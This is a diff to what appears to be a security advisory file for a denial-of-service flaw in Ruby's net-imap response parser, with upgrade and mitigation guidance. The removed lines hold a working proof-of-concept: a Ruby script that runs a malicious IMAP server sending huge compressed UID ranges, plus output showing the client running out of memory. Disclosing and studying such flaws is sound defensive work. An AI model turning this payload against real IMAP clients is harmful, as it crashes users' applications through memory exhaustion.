@@ -7,6 +7,7 @@ title: Possible DoS by memory exhaustion in net-imap
77date : 2025-02-10
88description : |
99 ### Summary
10+
1011 There is a possibility for denial of service by memory exhaustion in
1112 `net-imap`'s response parser. At any time while the client is
1213 connected, a malicious server can send can send highly compressed
@@ -16,6 +17,7 @@ description: |
1617 expanded size of the ranges.
1718
1819 ### Details
20+
1921 IMAP's `uid-set` and `sequence-set` formats can compress ranges of
2022 numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the
2123 same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or
@@ -62,7 +64,9 @@ description: |
6264 ### Fixes
6365
6466 #### Preferred Fix, minor API changes
67+
6568 Upgrade to v0.4.19, v0.5.6, or higher, and configure:
69+
6670 ```ruby
6771 # globally
6872 Net::IMAP.config.parser_use_deprecated_uidplus_data = false
@@ -89,6 +93,7 @@ description: |
8993 will be removed from v0.6)_.
9094
9195 #### Mitigation, backward compatible API
96+
9297 Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
9398
9499 For backward compatibility, `uid-set` can still be expanded
@@ -120,137 +125,20 @@ description: |
120125 of retained responses, a simple handler might look something like
121126 the following:
122127
123- ```ruby
124- limit = 1000
125- imap.add_response_handler do |resp|
126- next unless resp.respond_to?(:name) && resp.respond_to?(:data)
127- name = resp.name
128- code = resp.data.code&.name if resp.data.respond_to?(:code)
129- if Net::IMAP::VERSION > "0.4.0"
130- imap.responses(name) { _1.slice!(0...-limit) }
131- imap.responses(code) { _1.slice!(0...-limit) }
132- else
133- imap.responses(name).slice!(0...-limit)
134- imap.responses(code).slice!(0...-limit)
135- end
136- end
137- ```
138-
139- ### Proof of concept
140-
141- Save the following to a ruby file (e.g: `poc.rb`) and
142- make it executable:
143128 ```ruby
144- #!/usr/bin/env ruby
145- require 'socket'
146- require 'net/imap'
147-
148- if !defined?(Net::IMAP.config)
149- puts "Net::IMAP.config is not available"
150- elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
151- puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
152- else
153- Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
154- puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
155- end
156-
157- size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
158-
159- def server_addr
160- Addrinfo.tcp("localhost", 0).ip_address
161- end
162-
163- def create_tcp_server
164- TCPServer.new(server_addr, 0)
165- end
166-
167- def start_server
168- th = Thread.new do
169- yield
170- end
171- sleep 0.1 until th.stop?
172- end
173-
174- def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
175- "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
176- end
177-
178- def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
179- "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
180- end
181-
182- server = create_tcp_server
183- port = server.addr[1]
184- puts "Server started on port #{port}"
185-
186- # server
187- start_server do
188- sock = server.accept
189- begin
190- sock.print "* OK test server\r\n"
191- cmd = sock.gets("\r\n", chomp: true)
192- tag = cmd.match(/\A(\w+) /)[1]
193- puts "Received: #{cmd}"
194-
195- malicious_response = appenduid_response(size:)
196- puts "Sending: #{malicious_response.chomp}"
197- sock.print malicious_response
198-
199- malicious_response = copyuid_response(size:)
200- puts "Sending: #{malicious_response.chomp}"
201- sock.print malicious_response
202- sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
203- sock.print "#{tag} OK CAPABILITY completed\r\n"
204-
205- cmd = sock.gets("\r\n", chomp: true)
206- tag = cmd.match(/\A(\w+) /)[1]
207- puts "Received: #{cmd}"
208- sock.print "* BYE If you made it this far, you passed the test!\r\n"
209- sock.print "#{tag} OK LOGOUT completed\r\n"
210- rescue Exception => ex
211- puts "Error in server: #{ex.message} (#{ex.class})"
212- ensure
213- sock.close
214- server.close
129+ limit = 1000
130+ imap.add_response_handler do |resp|
131+ next unless resp.respond_to?(:name) && resp.respond_to?(:data)
132+ name = resp.name
133+ code = resp.data.code&.name if resp.data.respond_to?(:code)
134+ if Net::IMAP::VERSION > "0.4.0"
135+ imap.responses(name) { _1.slice!(0...-limit) }
136+ imap.responses(code) { _1.slice!(0...-limit) }
137+ else
138+ imap.responses(name).slice!(0...-limit)
139+ imap.responses(code).slice!(0...-limit)
215140 end
216141 end
217-
218- # client
219- begin
220- puts "Client connecting,.."
221- imap = Net::IMAP.new(server_addr, port: port)
222- puts "Received capabilities: #{imap.capability}"
223- pp responses: imap.responses
224- imap.logout
225- rescue Exception => ex
226- puts "Error in client: #{ex.message} (#{ex.class})"
227- puts ex.full_message
228- ensure
229- imap.disconnect if imap
230- end
231- ```
232-
233- Use `ulimit` to limit the process's virtual memory. The following
234- example limits virtual memory to 1GB:
235- ```console
236- $ ( ulimit -v 1000000 && exec ./poc.rb )
237- Server started on port 34291
238- Client connecting,..
239- Received: RUBY0001 CAPABILITY
240- Sending: * OK [APPENDUID 1 1:4294967295] too large?
241- Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
242- Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)
243- Error in client: failed to allocate memory (NoMemoryError)
244- /gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
245- from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
246- from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
247- from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
248- from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
249- from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
250- from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
251- from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
252- from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
253- from /workspace/poc.rb:70:in '<main>'
254142 ```
255143cvss_v3 : 6.5
256144unaffected_versions :
0 commit comments